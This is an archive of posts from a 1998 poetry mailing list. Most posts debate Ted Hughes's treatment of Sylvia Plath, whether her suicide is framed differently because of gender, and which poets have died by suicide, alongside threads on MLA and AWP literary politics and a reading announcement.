Katy: As to your two transmissions, I'm in total agreement with the first. As to your second, "How is Plath's suicide being figured in terms of gender here? The notion that she left behind children etc... I can think of a number of male poets throughout history who have killed themselves in one way or another and been figured to be heroic-- Certainly they have not been admonished for "leaving children behind" etc in the same way that Plath has-- What if Plath had been the father? Hughes a cheating-on-spouse, non-writing mother? I suspect (it's obvious, really) that the discourse would be altogether different--," it's not at all obvious to me that there's a gender difference of the kind you suggest here. First, self-destructive behavior is not the same as suicide, nor does it have the same impact on surviving children. I raised Paul Blackburn's son. Paul could be said to have killed himself with cigarettes and booze, but that was not his patent

intention, nor did Carlos feel abandoned therefor or given permission to do likewise. Second, in your hypothetical scenario (I guess) Plath cheats on Hughes who kills himself in response, public reaction would certainly be different for reasons that have a lot to do with gender as construed in our society, but I think in the following manner: a. killing oneself for love is unmanly (women aren't that important); b. killing oneself is more acceptable in women, especially if done in a non-violent way (which may be why suicide attempts are far more common in adolescent girls than in adolescent boys).

At 04:28 PM 2/19/98 -0600, you wrote:
>Mark,
>
>I agree that there is no excuse for suicide--and most of what you say
>below as regards Plath's actual suicide--
>
>What I'm trying to say is that Hughes' publishing of his "necro-erotic"
>work decades after the fact appears tasteless and somehow contrary to the
>terms he sets up for himself in the Preface quoted earlier--
>
>More to the point, however, I was trying to say that I agreed with Chris
>that we should, perhaps, use this opportunity to discuss her work--or
>perhaps to discuss larger issues such as to what degree biography and
>poetry intersect and so on...not to discuss Hughes' "lameness" etc....
>
>Also: I just thought that this Preface was terribly interesting--really
>provocative stuff--and probably hadn't been read by most people on this
>list and/or elsewhere--
>
>Best,
>Katy
>
>On Thu, 19 Feb 1998, Mark Weiss wrote:
>
>> I'm probably putting myself in harm's way here. I care little for Hughes'
>> work, and not a lot for Plath's. But this aspect of her cult (not her
>> poems) has always disturbed me: that she was not responsible for her
>> suicide. The suicide of someone who is physically healthy, and who leaves
>> children behind to come to terms with it, is a fairly strong statement. To
>> strip Plath of responsibility for hers is to strip her of much of her
dignity.
>>
>> One further point before I go into hiding. Hughes' "in those days I

>> regarded forgetfulness as an essential part of survival" reads to me as an
>> admission that if he had been in his right mind at the time he would have
>> found another way to protect his children from the destroyed journal. There
>> certainly is no excuse for destroying anyone's work, but it's not hard to
>> understand the impulse. Suicide is the unanswerable argument, the ultimate
>> weapon, the nastiest thing that one can do to one's survivors, and Hughes,
>> with his many faults, had just been zapped.
>>
>> It's worth remembering that a suicide's surviving family members have an
>> astronomically higher likelihood of resorting to suicide themselves. Quite
>> a legacy.
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>> >2. Notice the way in which Hughes contructs a world in which he figures as
>> >a sort of absent father-figure: the description of the birthing and
>> >sloughing off of her selves (withHughes simply standing by to witness);
>> >the excuse that Hughes profers of saving "her" children from the grief
>> >that her final journal may have caused; the incredible insistence that
>> >though he was present and by her side at all times, none of what happened
>> >to her was ultimately caused by this presence--and so on.
>> >
>> >
>>
>
>

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755. Peter Balestrieri

Tired?

Thu 19 Feb 1998

Tired of all those super-slick poems that show you
toys you can't afford, trips you can't take, and clothes
you wouldn't be caught dead in?

Wish you could grab the poets by the lapels and scream,
"Get real!!!"

Well here's good news! Because here's Peter Balestrieri.

The first poet to see things the way you do.
Speak your language.

And give you what you want to know more about.
Careers. Cash. And making your weekends count.

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756. Joe Amato/Kass Fleisher

Re: turf wars

Thu 19 Feb 1998

---

finnegan---more friendly would be james, yes?---james, thanx for picking up on my q & a, which i intend to be provocative... but which at the same time i posted b/c i was feeling pinched by certain discussions hereabouts...

"official verse culture": well though i think that it's important to call out power centers as such... i've been in far too many contexts where official verse culture---or its equivalent in fiction or nonfiction circles---has acted as a gag both on my aesthetic sensibility and on my capacity to express my discomfort... if you ain't been there, then perhaps, perhaps you don't know what i mean... but if you *have* been there, as i suspect you have, then i probably don't have to say much more... "there" is where good and proper poetry is such & such, period... of course, to define the contours of official verse culture today might be difficult, but i believe it can be done... i think in fact jed rasula manages it in _the american poetry wax museum_, a book that---whatever the flaws r. kostelanetz has managed to find recently (his short review in the recent and final _poetic briefs_ that i am extremely grateful to have rec'd)---is not afraid to call the more powerful political alliances ("institutional consolidations" is rasula's term as i recall) that have served to represent and legitimate poetry and poetic practice in north america... and of course a major actor in this representative practice has been the english dept...

awp and mla are in cahoots---so to speak (i'm somewhat less interested in motive than in effects)---in that awp "sanctions" writing programs that become in many cases the primary embodiment of the mla membership's understanding of creative writing... i.e., how said orientation manifests itself, not least in its job lists... that this is to personify the organizational is ok imho... but it's more than simply the job lists---it's also insofar as the way english profs, incl. creative writers, are educated about their own profession, their own professional and poetic practices (both to the extent that the poetic is professional, and to the extent that it isn't)... about how (e.g.) scholarship is to be conducted (this way and not that)... about how (e.g.) teachers come to think of their role in educating students... there have to be SOME historical and determinate reasons why i experience the english profession the way i do---and i'm not alone... sure, the postmodern/poststructural nexus has been endorsed now by mla, current backlash aside... just be sure to write it in sentences!... and when you're in the process of

elaborating on Major Cultural Happenings, just be sure to exclude poets and poetry...

on the avg, now... i'd hate to name recent books, but i will if asked... and when i rail against sentences, i'm not unaware that i'm in the process of trying to scribble same!...

in short: mla as a professional society is surely in large part responsible for the way its members come to their professional work (pmla being a prime outlet and example)... interesting to have a look at profession 97 in this regard---the poetry forum... which poets were chosen to speak, how these poets spoke, what trends in poetry they represented... and of course, what wasn't said, what wasn't represented...

digression: used to be that ncte represented an alternative to mla in that it was interested in talking pedagogy... now that cccc has dried-up as a job convention, though, it's clear that mla has wrested some control back of composition pedagogy... reason i mention this is to indicate the ways in which prof. organizations are situated in terms of professional practices... so it should come as no surprise that i point at mla in toto, though of course we poets who teach, most of us, are part of this totality... and though of course each of us may represent diverse motivations and such like... i take your point about awp and mla being different beasts, but again---strong affiliations persist...

as you suggest, one might observe that mainstream poets are hit hard by all of the publishing problems (e.g.) too, that 'we're all in this together' or some such... some would therefore argue that any talk of mainstream vs. alternative is divisive... but i'll defer to my observation in my first para---the one about my discomfort at having to swallow my... thoughts (which, if you know me, i'm none too good at) when it comes to talking about things poetic in the presence of certain educated souls... broad brush is necessary here, i think... sure, i've met many more mainstream poets i like, whose work i like and admire... that many have access to an awards network, say, that i *might* enjoy mself---that not a few often exude a pedigree that i'll never exude, much like many of the mla hotshots whom 'we' regularly elect to office (have a close look at those bios sometime, if you haven't already)---is less important to me (REALLY) than that i read their work, but that many don't read the work of those i also admire, those who are not mainstream... and are often condescending in this regard...

there are many factions here of course and i don't wish to set up a binary... at the same time, i *do* think that it's damned important to talk about the general per- and reception of poetry and the arts in the u.s. (by non-poets, and non-artists) and why this per/reception continues in the face of the very realities that you and i both know, james, are choking the life out of certain aesthetic talents... nea cutbacks, yes, but perhaps more profoundly and as i just posted to

another list a week back, the fact that no less than three of my first-year writing students argued in class the other day that the best way to make for profound social transformation is to invest in the stock market---no shit... "we shouldn't be afraid to throw 50 million at theoretical physics," one student remarked, whereas his first response to funding artists as a social program was "why?---so they can paint?"... hey --- it's not just that i'm on a tech campus...

the reality is, i think, that though poets, mainstream and alternative, will continue to write poetry, public attitudes (both in and out of the educational institution) are making it damned difficult for many of us to continue to eek our contributions forth, and making it systemically difficult for the emergence of pathways that will permit such eeking to continue into the larger public domains... and when push comes to shove, those who advocate, implicitly and often explicitly, a more mainstream poetic (which again, is often anti-theoretical at its core)---which i have no problem at all placing under my AWP broad-brush (please: apologies to my allies and friends there, but i must be blunt)---are i think doing a disservice to those who don't "fit" that poetic, and perhaps---speculation here that i'll leave at that for now---vitiating a more urgent and critical public response to things poetic b/c of said advocacy...

my fullest response to this issue, as i've posted here before, at http://www.iit.edu/~amato/moonlight.html

the internet is one way to help along alternative practices, and i believe it can help (both formally and politically)... it can hurt too---it no doubt will, has... but it's gonna be a struggle, and i'm getting too old to believe that everything good in life MUST come hard...

i'm an ambitious guy, like i say... on the other hand, why not be?...

best, rambling///

joe

↑ Index

757. **Susan Schultz**
Re: Plath and Hughes
Thu 19 Feb 1998

And as for "responsibility"--anyone want to say anything about bipolar disorder / unipolar disorder and the fact that they are often terminal illnesses? sms

On Thu, 19 Feb 1998, k. lederer wrote:

> *Also:*
>
> *How is Plath's suicide being figured in terms of gender here? The notion*

> *that she left behind children etc...*
>
> *I can think of a number of male poets throughout history who have killed themselves in one way or another and been figured to be heroic--*
>
> *Certainly they have not been admonished for "leaving children behind" etc in the same way that Plath has--*
>
> *What if Plath had been the father? Hughes a cheating-on-spouse, non-writing mother? I suspect (it's obvious, really) that the discourse would be altogether different--*
>
> *Regards,*
> *Katy L.*

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

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758. **Joe Ahearn**
Re: Tis better to be vile than vile esteemd
Thu 19 Feb 1998

Speaking of nastiness on nastiness, my favorite poem by Hughes is called "The Love Pet." Despite what we may or may not say about the progressiveness of Hughe's language, that poem "feels" exactly like what my divorce was like. In fact, now that I think about it, NONE of the language associated with my divorce was particularly interesting... :) But animal nastiness--o yes, loads and loads and loads...

I guess interesting language is safely reserved for those among us not savagely at war with lawyers and bitter lovers.

And if Mr. Larkin didn't care for Charlie Parker, he was no kind of jazz fan. Charlie Parker's music is the great text of pleasure.

At 10:50 AM 2/18/98 -0600, you wrote:
>Who was it a few months ago that said that Hughes wrote some effective
>poems about nasty animals attacking other nasty animals? That seems to be

>the strength of his earlier work. Crow impressed me years ago with its
>fine nastiness, though I haven't followed him in the last decade or so.
>The snippets I have seen quoted from the Plath book are quite vile.
>
>That said, I much prefer Hughes to Larkin. I was quite surprised a few
>years ago when the revelations about Larkin's racism, sexism and general
>nastiness came out. I was not surprised at the revelations, but at the
>surprise they evoked in others. I had always read his poetry as the
>expression of a sort of snide British anti-intellectual xenophobic
>resentful postwar anti-modernist mindset. He condemned the three "Ps":
>"Picasso, Pound, Parker," who had ruined painting, poetry, and jazz, in
>his opinion.
>
>Jonathan Mayhew
>Department of Spanish and Portuguese
>3062 Wescoe Hall
>University of Kansas
>[redacted]
>[redacted]
>
>

Joe Ahearn

_____
[redacted]

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759. **Karen Kelley**
Re: Plath and Hughes
Thu 19 Feb 1998

---

k. lederer wrote:
>
> Also:
>
> How is Plath's suicide being figured in terms of gender here? The notion
> that she left behind children etc...
>
> I can think of a number of male poets throughout history who have killed
> themselves in one way or another and been figured to be heroic--
>
> Certainly they have not been admonished for "leaving children behind" etc
> in the same way that Plath has--

>
> What if Plath had been the father? Hughes a cheating-on-spouse,
> non-writing mother? I suspect (it's obvious, really) that the discourse
> would be altogether different--
>
> Regards,
> Katy L.

The first male suicide who came to my mind was John Berryman (--I wonder if the list is generally pro or con Berryman?) There is a harrowing book about his life & suicide by John Haffenden--in the end you feel relieved Berryman's finally done away with himself, he was SO miserable. I never get that sense from Plath--she just always seems enraged.

But I do think Mark Weiss raises the most compelling reason not to suicide: all of the people I've ever know who have been continuously & hauntingly tempted by suicide are the children of suicides. Mom or Dad, it doesn't seem to matter. It's as if they've never had the option of seeing the act as inconceivable.

And thank you, Katy, for the image of Ted Hughes in a dowdy housedress!

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760. Blaise Cirelli
Watten - FRAME
Thu 19 Feb 1998

Awhile back, someone posted to the list that they were disappointed we didn't discuss specific books of poetry. That person (can't remember who it was) suggested discussing FRAME by Watten. Since, I only read a couple of his poems in an anthology, I wasn't very familiar with him.

I did get a chance to read FRAME and found it delightful. Watten is experimental and challenging. One of my fave poems was "Barnaby Jones." Don't know when it was written but assume it was in the 1980's when the TV show was popular. Watten, in the poem, compares Barnaby Jones and Dragnet--extremely inventive and funny. Who says experimental poetry can't have a sense of humor.

Thanks to you whoever recommended Watten.

Blaise Cirelli

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761. **Kevin Varrone**
Philly Reading
Thu 19 Feb 1998

To any and all in the Philadelphia area:

5 Corners Poetry Series Presents

Julia Blumenreich
&
Ron Silliman

Thursday, February 26th, 8 p.m.
@ george's 5st Cafe
(5th between Lombard & South Streets)
215/[redacted]

Special post-reading musical guest

JAFFNA

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762. **Maria Damon**
Re: hi-gloss
Thu 19 Feb 1998

At 3:21 PM -0500 2/19/98, David Israel wrote:
>Billy --
>
>thanks for b.c. copying me on this; I generally / sometimes read Poetics in
>digest (as has been just now), so won't know (till the big computer deigns
>to send me, now, an unfinished update) what (if anything) has been further
>said in this thread.
>
>To your point, though --
>
>my description ("radical '60s-ish formula") was vague to the point of
>obscuring the intention -- which was merely as description, not as critique
>as such. That is, if I knew that it was, say, Angela Davis (??) / Eldridge
>Cleaver (??) who had minted that adage, I could more usefully have (mildly)
>more meaningfully have written, "Davis's adage" -- but that, still, would
>merely be a matter of description -- i.e., tagging the adage to its origins,
>for (at least) historical interest.
>
>As for the meaningfulness of said adage --
>

> if you're not part of the solution,
> you're part of the problem
>

i thot this was lenin?

↑ Index

763. **Maria Damon**
Re: Plath and Hughes
Thu 19 Feb 1998

At 12:29 PM -0800 2/19/98, Mark Weiss wrote:
>I'm probably putting myself in harm's way here. I care little for Hughes'
>work, and not a lot for Plath's. But this aspect of her cult (not her
>poems) has always disturbed me: that she was not responsible for her
>suicide. The suicide of someone who is physically healthy, and who leaves
>children behind to come to terms with it, is a fairly strong statement. To
>strip Plath of responsibility for hers is to strip her of much of her dignity.
>
>One further point before I go into hiding. Hughes' "in those days I
>regarded forgetfulness as an essential part of survival" reads to me as an
>admission that if he had been in his right mind at the time he would have
>found another way to protect his children from the destroyed journal. There
>certainly is no excuse for destroying anyone's work, but it's not hard to
>understand the impulse. Suicide is the unanswerable argument, the ultimate
>weapon, the nastiest thing that one can do to one's survivors, and Hughes,
>with his many faults, had just been zapped.
>
>It's worth remembering that a suicide's surviving family members have an
>astronomically higher likelihood of resorting to suicide themselves. Quite
>a legacy.
>

yes to all of this, good points; fault-finding and fingerpointing in a complex situation like this is unsound; we may all start to sound like robin morgan...

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764. **Laurie Schneider/Crag Hill**
Re: POETICS Digest - 17 Feb 1998 to 18 Feb 1998
Fri 20 Feb 1998

DBuuck: I would be intersted in subscribing to tripwire. If possible send
first issue and bill and I'll send a check.
Crag Hill

1015 NW Clifford
Pullman, WA 99163

↑ Index

765. **Thomas Bell**
Re: Plath and Hughes and Freud and Jung
Fri 20 Feb 1998

If one were inclined to analyze writers it would appear that there might be material here for a Jungian approach rather than Freudin or Lacanian, esp. in view of his animal poetry (actually Hillman might be more fitting.? archetype, darkness, anima, animus, hmm. tom bell

At 12:44 PM 2/19/98 -0600, k. lederer wrote:
>Perhaps as a segue into Plath (from her diary, which is perhaps hard to
>find, but in libraries certainly...):
>
>The Preface to The Diary, by Ted Hughes (my edition is The Dial Press,
>1982):
>
>....One can compare what was really going on in her to a process
>of alchemy.
>Her apprentice writings were like impurities thrown off from the
>various stages of the inner transformation, by-products of the internal
>work. One really can use these terms in her case..... But what did she

↑ Index

766. **Rebecca Weldon Sithiwong**
Hughes
Fri 20 Feb 1998

I am not a critic, so I will not discuss, in this context, the literary merits of Hughes' work. However, I simply cannot resist making an observation.

I consider his last publication in incredibly poor taste. If he had written a prose autobiography focusing upon his relationship with Sylvia Plath, I would have given him the benefit of the doubt, but, he seems to me a poet hiding behind poetry to use it for his defense. This seems to be unethical behaviour, the fact of which his guilt or innocence in the manipulation of Plath's life and work would not change.

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767. **Robert Hale**

TROPE OF DARKNESS and adjectives

Fri 20 Feb 1998

As per some recent posts, I recall a discussion of the use of the word "darkness" in a poetry workshop with Joel Lewis.

Someone in the group used the word in a poem and Joel brought up some problems associated with it, such as its 19th Century feel. In the case of the workshop, this word was working against a poem that was otherwise struggling to begin with, as workshop poems often are (you have to begin somewhere, but not, perhaps, with darkness, especially in a confessional poem).

Some tropes of "darkness" can be traced quite readily to Conrad -- to sight and its impossibility, as Marlow narrates in "The Heart of Darkness":

"that Kurtz who at the time I did not see -- you understand. He was just a word for me. I did not see the man in the name any more than you do. Do you see him? Do you see the story? Do you see anything?"

We're talking about referents with referentiality -- a dicey business for any level of poetry, workshop or, how shall I say, advanced (?) that is trying to make the reader see something. We're also inevitably talking about "the horror" :

that people lie to establish a condition of truth

and that there is a tension between the phrase and every translation compelled to resolve it.

What was Kurtz thinking? We'll never know. And let's not forget Conrad's obsession with "making the reader see" as he said in an oft-sited intro to one of his novels, The Nigger of the Narcissus.

So "darkness" and "horror", fields of referentiality obviously still relevant, but better pursued through other adjectives or none at all or perhaps ripe for repetition, chants and incantations, along with Kurtz, which is when you know, I suppose, what he was thinking when he repeated it twice with exclamation points.

Herodotus is a strange reference here. As you read his "Histories" notice the lack of adjectives. One of the West's earliest prose writers knew about these trappings and/or was perhaps merely following rules of grammar.

Try limiting yourself to one adjective every 500 words or so and see what happens. Let's not call it "experimental" poetry for obvious reasons.

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768. George Bowering
Re: crow
Fri 20 Feb 1998

> *At 3:16 PM -0500 2/18/98, Henry Gould wrote:*
> *Crows play quite a part in poetry, don't they?*

Yup. The first one I think of is that Finnish poet with the formerly gapped teeth who named himself and his book after that pesky bird.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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769. Tom Beckett
"*stops*"
Fri 20 Feb 1998

What about conceiving a poem as a series of "stops"? (I'm currently writing one with that title.) The idea being that each line should be so constructed as to give the reader pause , each line in effect enacting a Brechtian interruption or occasion for a renewed meditation. I'm new to the list and hopeful that this might be a somewhat different spin on things.

Tom Beckett

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770. Henry Gould
Re: Plath and Hughes
Fri 20 Feb 1998

I have the feeling that analyzing the Plath/Hughes reality from either a male or female perspective is a kind of trap, an endless circle of dissection and blame. Far more interesting to look at how Plath's poetry radiates more skill, fascination, intensity, mana than Hughes - BECAUSE she echoes the patriarchal tradition in her work more closely and more scrupulously (from a standpoint of conflict). Hughes is unfaithful. Plath kills herself. Hughes destroys some of her notebooks. And we sit in judgement, archivists mourning the aborted manuscripts.

Even more intersting might be to think about the Plath/Hughes tragedy using a another lens - not feminism or masculinism but neutral, generic lit history: i.e., the fate of that generation of writers in English coming after the modernists & after WW 2 and the Holocaust. Where did poets "stand" after Pound Eliot Joyce et al created a complete "counter" tradition - which then became THE tradition? Basically the next generation was devoured by their forebears (psychologically overshadowed) - and they worked under the sign of self-destruction & loss of control (Berryman, Lowell, Plath, Sexton, Dylan Thomas, Delmore Schwartz, Crane, etc. etc...); they became the manic underside (still Establishment) of the new Pax Americana. So how is poetry in that poisoned atmosphere a kind of fatal gift or death-talisman that has to be acted out to the end? (supposedly) & how much of that do we both participate in and fail to see - while trying to measure out blame with teaspoons? Traditional Verse Culture self-destructed 2 generations ago and we're still working out the funeral arrangements.

- Henry Gould

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771. Marcella Durand
Re: GANG OF FOUR
Fri 20 Feb 1998

Since this discussion thread started (and my awareness of the number = four thus heightened), I've noticed that the best song on most of my = albums is the fourth one, and that most of the businesses that I deal = with (printers, xeroxers, printers again, etc...) are on the fourth = floor. Is that freaky or what?

From: Rebecca Weldon Sithiwong
Sent: Wednesday, February 18, 1998 10:04 PM
To: [redacted]
Subject: GANG OF FOUR

I am reading through a week's worth of digests,a comment to Robert Hale = on
the number 4.

In Asian societies numerology is considered important to interpretaion = of
events past, present and future. In general, odd numbers are considered = of
auspicious import and the even are not. In Lanna Tai artistic = iconography,
of which I can speak with some expertise, even-numbered elements are = used

when fashioning funerary items. Some believe that odd-numbered elements = are
related to the human couple and the child; the extra factor in the pair representing life which is auspicious in relation to death.

I am sure that one might be able to find many exceptions to this interpretation, but, in the Chinese context, where numerology is a = national pasttime, the use of an inauspicious number in the mass iconography of Maoist doctrine would not be an inconsequential phenomenon.

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772. linda russo
Tender buttons query
Fri 20 Feb 1998

---

an _email_ address for Jennifer Moxley?

also is SHE Tender Buttons? or is someone else??

clarity please
thank you

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773. linda russo
Re: tender buttons q.
Fri 20 Feb 1998

My apologies to Lee Ann Brown
of tender buttons --

soon after i sent my query I found my answer

i'd still like an email for Jennifer Moxley though.

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774. Gary Sullivan
Reply to Katy Lederer
Fri 20 Feb 1998

Hi, Katy:

Could you please tell us who those male poets are who "killed themselves in one way or another and been figured to be heroic"? My own sense is that this simply isn't true, but realize it's just "a sense" I have.

When I'd read that Richard Brautigan committed suicide I was very upset, had just finished _So the Wind Won't Blow It All Away_, thought more would be

coming, couldn't understand why he'd did it. Keith Abbott's book on Brautigan, as I remember it, hardly cast Brautigan as a hero; my memory of Abbott's portrayal of Brautigan was that B. was a self-involved substance abuser, obsessed with fame, bitter over waning critical attention & audience in the U.S., his suicide (as cast by Abbott) as pointless, if inevitable (given Brautigan's increasingly negative frame of mind). Reading Lew Welch's letters (_I Remain_), it's baffling as to why, once he'd been set up in a cabin, seemingly had all the time in the world to write (time being a constant problem for Welch), he chose then to "give up." I certainly don't--& no one I've read or talked with does--cast his apparent suicide as "heroic." I'm not that well acquainted with Berryman's work, or whatever discourse surrounds it, but I've never heard or read anyone calling him a hero for leaping into the Mississippi. The only more-or-less contemporary instance I can think of is in the discourse surrounding d.a. levy's suicide--and there what you'll get are people who believe he was either driven to it by the local authorities (this was in Cleveland, in the 60s--levy, Jim Lowell & others were consistently hassled, jailed, & generally watched), or actually murdered by them. In that instance, the narrative seems to be less about the suicide itself than the constant hassles--people talk about his death in the way people talk about that of Lenny Bruce.

I have to admit that, while I'm a reader & admirer of Plath's poetry, I haven't read much of the secondary material, and am not sure how, say, a professional critic is likely to think and write about her suicide. I do know that a few of the people I've talked to about her see her as, if not quite "heroic," certainly as a kind of martyr--something I don't think helps anyone understand or (more importantly) appreciate her often extraordinary writing. But these people were young college kids (like me at the time), and more given to uncritical romanticism than they might be today.

Anyway, I'm not sure that this is, as you say, a "gender" issue, and if I'm going to buy that, I need something more substantial from your end than the assertion that it's "obvious." If what you say is true, it's definitely worth thinking about. Can you maybe elaborate on your earlier post?

Thanks, Katy.

Yours,

Gary Sullivan

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775. **Christopher W. Alexander**
Re: Tired?
Fri 20 Feb 1998

Hey, sign me up!

That's right, my life will be different
since I've found new Peter Balestrieri.

With Peter Balestrieri, there's no need to worry
anymore about niggling demands for payment,
because all of your debts are consolidated into
one easy-to-maintain account.

Peter Balestrieri helps you shop the smart way,
allowing individual debts to accrue "a la carte" style
for easy access. And with no more time wasted at
the checkout counter searching for the right card,
you'll be free to move More quality time at home.

You'll live just like a Rolling Stone.

Office blues got you down? Weekends seem to fly by?
Gambling away your hard-won earnings?

You wouldn't trust your kids' nutrition to just anybody.

So why not give it a try?
I'm sure Peter Balestrieri has a program that can help •you•.

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776. **k. lederer**
Re: poet-heroes & suicide
Fri 20 Feb 1998

David,

You have put me on the spot--

I don't really want to bring some of these people up for some personal reasons--

But I will say that it seems quite obvious to me that depression, early death (due to suicidal behaviors like smoking too much, drinking too much etc), and unhealthy forms of poverty (not eating right) have been utterly romanticized in the world of poetry--

I guess the funny thing is that I don't know whether some of the following had children or not--in the great halls of liteary history it doesn't matter when it's a man--

Jack Kerouac (I know he treated a number of women incl. wives poorly in the name of his art), Celan, Milton (didn't die, but treated daughter like crap in the name of his art...), Burroughs, Hemmingway, Faulkner and so on. I think you know what I'm talking about--and I don't think what I'm saying is very shocking or original--that men's literary needs--their inspirational needs--are figured to be far more important than health or family--health and family are looked upon as constraints...

One thing to remember is that Ted Hughes was far more famous than Sylvia at the time of her death--she did not know for sure that her work would go down in history, so to speak, in the way it did--she was busy typing up Ted's poems to send off to magazines--

On Thu, 19 Feb 1998, David Israel wrote:

> *[was, Re: Plath and Hughes]*
>
> *Katy Kederer wrote,*
>
> *<< . . . I can think of a number of male poets throughout history who have killed themselves in one way or another and been figured to be heroic-- . . . >>*
>
> *heroic in / for suicide, do you mean? Could you name one? (I'm not aware of entertaining that idea abt. anybody, truth to tell.)*
>
> *The legend of Li Po's (possible) drowning in river, looking for the moon, seems a romanticized myth (hinting at the suicide question maybe), but I don't know that he's considered heroic for that . . . who else? Not to put you on the spot, -- just that I can't think of such examples.*
>
> *d.i.*

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777. Robert Hale
Re: poet-heroes & suicide
Fri 20 Feb 1998

Empedocles, pre-Socratic philosopher (a poet really, because that's sort of the way those guys wrote, especially him, all reinforced by the fact that his work only survives in fragments quoted by others), supposedly threw himself into a volcano.

Otherwise (if we can even call the above, "heroic"), I can think of plenty of male poet suicides, but the "heroic part" is entirely interpretive.

At 06:44 PM 2/19/98 -0500, you wrote:
>[was, Re: Plath and Hughes]
>
>Katy Kederer wrote,
>
><< . . . I can think of a number of male poets throughout history who have
>killed themselves in one way or another and been figured to be heroic-- . .
>. >>
>
>heroic in / for suicide, do you mean? Could you name one? (I'm not aware
>of entertaining that idea abt. anybody, truth to tell.)
>
>The legend of Li Po's (possible) drowning in river, looking for the moon,
>seems a romanticized myth (hinting at the suicide question maybe), but I
>don't know that he's considered heroic for that . . . who else? Not to put
>you on the spot, -- just that I can't think of such examples.
>
>d.i.
>
>

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778. **Judy Roitman**
Re: "stops"
Fri 20 Feb 1998

> *What about conceiving a poem as a series of "stops"? (I'm currently writing one with that title.) The idea being that each line should be so constructed as to give the reader pause , each line in effect enacting a Brechtian interruption or occasion for a renewed meditation.*
> *I'm new to the list and hopeful that this might be a somewhat different spin on things.*
>
> *Tom Beckett*

Anne Carson went through a period of ending every line with a period. Whether it was the end of a sentence or not.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----

http://www.math.ukans.edu/~roitman/

↑ Index

779. **d powell**
Re: Reply to Katy Lederer
Fri 20 Feb 1998

Reply to: RE: Reply to Katy Lederer

Gary Sullivan wrote:
>Hi, Katy:
>
>Could you please tell us who those male poets are who "killed themselves in one
>way or another and been figured to be heroic"? My own sense is that this simply
>isn't true, but realize it's just "a sense" I have.
>

Butting in here--I'd include John Berryman and Hart Crane for starters. If we expand "killing oneself" to include reckless endangerment, Rimbaud is definitely an "heroic suicide" as would be Shelley.
These suicides are romanticized in a way that women's suicides are not.
Doug
==========
D A Powell [redacted]
==========

↑ Index

780. **Elizabeth Hatmaker**
Re: poet-heroes & suicide
Fri 20 Feb 1998

I think Katy's right and wonder what people's take, if any, is on Margeux (sorry--i'm a bad speller) Hemingway's death was. I honestly don't recall the coverage but wonder if her death was "blamed" on Papa? Or was it treated as a sort of greek-tragic "sins of the father" melodrama? Is this "blame" in the same way that Hughes's burning Plath's journal to "protect the children"? It may well have seemed a good idea at the time to do so, but it does pretty much make her out, in a very public way, to be a bad mom who wrote god knows what that the kids shouldn't see.

Someone mentioned depression/manic depression and certainly it seems reasonable to suggest that while Ted's infidelity might have been a catalyst, larger problems were already there. But here's something: Wasn't there another woman involved with Hughes who committed suicide? One wonders if Ted was sort of attracted to women who were depressed and self-destructive. The whole excitingness of the writer's energy and work and the interest in watching someone self-destruct. Like watching National Geographic specials.

I just started reading Radsula's Wax Museum and liken some of the Hughes and Plath. The whole wax museum-- with royalty next to the hall of horrors -- reality that Radsula likens to the US poetry "scene" seems fitting in thinking about the Hughes/Plath marriage and his new book of poems regarding her. That whole appeal of seeing the height of "goodness" (Sylvia's finding of her "true voice" in Ariel) and the depth of despair (the notebooks that had to be destroyed they were so painful). The _Birthday Poems_ seem to celebrate and embody Plath with everything Radsula is talking about regarding how Americans perceive poetry. BTW, what are others thinking of Radsula's book?

e hatmaker

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781. **Judy Roitman**

Re: poet-heroes & suicide

Fri 20 Feb 1998

> *But I will say that it seems quite obvious to me that depression, early death (due to suicidal behaviors like smoking too much, drinking too much etc), and unhealthy forms of poverty (not eating right) have been utterly romanticized in the world of poetry--*
>
> *Jack Kerouac (I know he treated a number of women incl. wives poorly in the name of his art), Celan, Milton (didn't die, but treated daughter like crap in the name of his art...), Burroughs...*
>
> *K. Lederer*

As in William? He lived to a ripe old age, drugs seemed to act as a preservative.

Killed his wife, but that's another issue.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996

---------- Note new area code
---
http://www.math.ukans.edu/~roitman/

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782. **Joe Amato/Kass Fleisher**
Re: "stops"
Fri 20 Feb 1998

in the interests of self-promotion (!): a piece of mine forthcoming in _denver quarterly_ (due out april i think) not only fleshes out in brief my problems with voice-craft-based approaches to writing instruction, but consists (part '1, take 2') of the sort of 'stop'-based discourse judy and tom refer to...

best,

joe

↑ Index

783. **pritchpa**
Re: poet-heroes & suicide
Fri 20 Feb 1998

Then there are those who are moved to kill themselves for a mixture of political and personal motives. This is from today's NY Times - a review of Fouad Ajami's _Dream Palace_:

"The overriding theme here is disillusionment. Ajami devotes an 84-page chapter to Khalil Hawi, the influential Lebanese poet who committed suicide in Beirut on the very day of the Israeli invasion of Lebanon, June 6, 1982. Hawi, a man with whom Ajami clearly and strongly identifies, embodied the failed effort of the Arabic man of letters to create the ground for an Arab revival. "

Patrick Pritchett

↑ Index

784. **Jordan Davis**
stops
Fri 20 Feb 1998

is the title of a terrific book of poems by Joel Sloman, whose reading at Poetry City on March 26 with Joan Retallack you should plan to attend.

Jordan Davis

↑ Index

785. **Keston Sutherland**
Re: Reply to Katy Lederer
Fri 20 Feb 1998

---

perhaps a sniff of the Lucrece about women's suicides, malodourously?

Keston

↑ Index

786. **Billy Little**
suicide
Fri 20 Feb 1998

1967 Berryman came to Buffalo, after his reading, at the party at Fiedler's house, he was loaded and seething, people were afraid to talk to him, i was naive, just beginning to discover Spicer myself, i asked him if he felt there was any resonances between his work and Spicer's, to him it was a contest, he asked me what i thought of the work of a few of his graduate students whose names undoubtedly have gone down in some history i haven't read. Plath was not of the Lowell generation, she was a student of his, she's a contemporary of Rich wasn't it Dorn: if you think you're part of the solution, you're the problem. alcoholism is only a more drawn out form of suicide and we could dance all night with that list.

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787. **david bromige**
poet suicides
Fri 20 Feb 1998

